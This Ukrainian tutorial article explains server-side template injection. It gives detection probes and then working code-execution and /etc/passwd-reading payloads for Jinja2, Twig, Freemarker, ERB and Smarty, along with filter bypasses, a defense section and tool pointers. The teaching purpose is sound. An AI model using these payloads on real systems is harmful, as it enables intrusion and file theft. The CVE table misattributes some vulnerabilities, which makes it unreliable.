KB / Статті / SSTI: Server-Side Template Injection — від {{7*7}} до RCE
UA EN

SSTI: Server-Side Template Injection — від {{7*7}} до RCE

✍ di_yurich 📅 20.07.2026 👁 156 переглядів

Що таке SSTI

Server-Side Template Injection (SSTI) — вразливість, за якої user-input вставляється напряму у шаблон, що рендериться на сервері. Шаблонізатор виконує впроваджений код у контексті додатку.

Різниця від XSS: XSS виконується у браузері жертви, SSTI — на сервері. Це означає прямий доступ до файлів, оточення, мережі.


Виявлення: математичний тест

Відправ у кожне поле по черзі:

{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
*{7*7}

Якщо відповідь містить 49 — шаблонізатор виконав вираз. Якщо {{7*7}} — просто відображає як текст (виводить рядок), а {{7*'7'}} дає 7777777 — це Jinja2/Twig.

Decision tree

{{7*7}} → 49        → Jinja2 (Python) або Twig (PHP)
{{7*'7'}} → 49      → Twig (PHP)
{{7*'7'}} → 7777777 → Jinja2 (Python)
${7*7} → 49         → Freemarker / Smarty / Pebble
<%= 7*7 %> → 49    → ERB (Ruby)
#{7*7} → 49         → Pebble / Thymeleaf

Jinja2 (Python/Flask)

Найпоширеніший у CTF-завданнях. Мета — дістатись до вбудованих класів Python.

Читання файлу

{{ ''.__class__.__mro__[1].__subclasses__() }}

Це дає список усіх підкласів object. Нам потрібен subprocess.Popen або os._wrap_close.

{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()}}

Індекс (396) залежить від версії Python — знайди потрібний клас у списку.

Читання /etc/passwd

{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}

Клас 40 зазвичай file (Python 2) або io.FileIO. Для Python 3:

{{ ().__class__.__bases__[0].__subclasses__()[189].__init__.__globals__['__builtins__']['open']('/etc/passwd').read() }}

Короткий payload через config

{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

Bypass фільтрів

Якщо _ заблоковано:

{{ ''['__class__'] }}
{{ ''|attr('__class__') }}

Якщо . заблоковано:

{{ ''['__class__']['__mro__'][1] }}

Якщо пробіли заблоковано:

{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()}}

Twig (PHP)

{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

Або через system:

{{['id']|map('system')|join}}

Freemarker (Java)

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

ERB (Ruby on Rails)

<%= `id` %>
<%= system("id") %>
<%= IO.popen('id').read %>

Smarty (PHP)

{php}echo `id`;{/php}
{system('id')}

Реальні CVE

Вразливість Движок Ефект
CVE-2018-7600 (Drupalgeddon2) Twig RCE без автентифікації
CVE-2019-18935 .NET Razor RCE через WebResource
HubSpot CMS 2023 HubL SSTI → LFI

Захист

  1. Ніколи не підставляй user-input напряму у render_string() / from_string()
  2. Передавай дані як змінні шаблону, а не конкатенацією
  3. Використовуй Sandbox-середовища (Jinja2 SandboxedEnvironment)
  4. WAF: блокуй {{, }}, ${}, <%= у user-input
  5. Content Security Policy (для виводу у HTML)
# ❌ Вразливо
template = request.args.get('name')
render_template_string(template)

# ✅ Безпечно
name = request.args.get('name')
render_template_string("Hello {{ name }}", name=name)

Корисні інструменти

  • tplmap — автоматичне виявлення та експлуатація SSTI
  • SSTImap — активно підтримуваний форк tplmap
  • Burp Suite — ручне тестування через Repeater
Коментарі (0)
Увійди, щоб залишити коментар.
Коментарів поки немає.
Вперше тут?
Новачок на Bastion?
Почни з гайду користувача.
Відкрити гайд →
?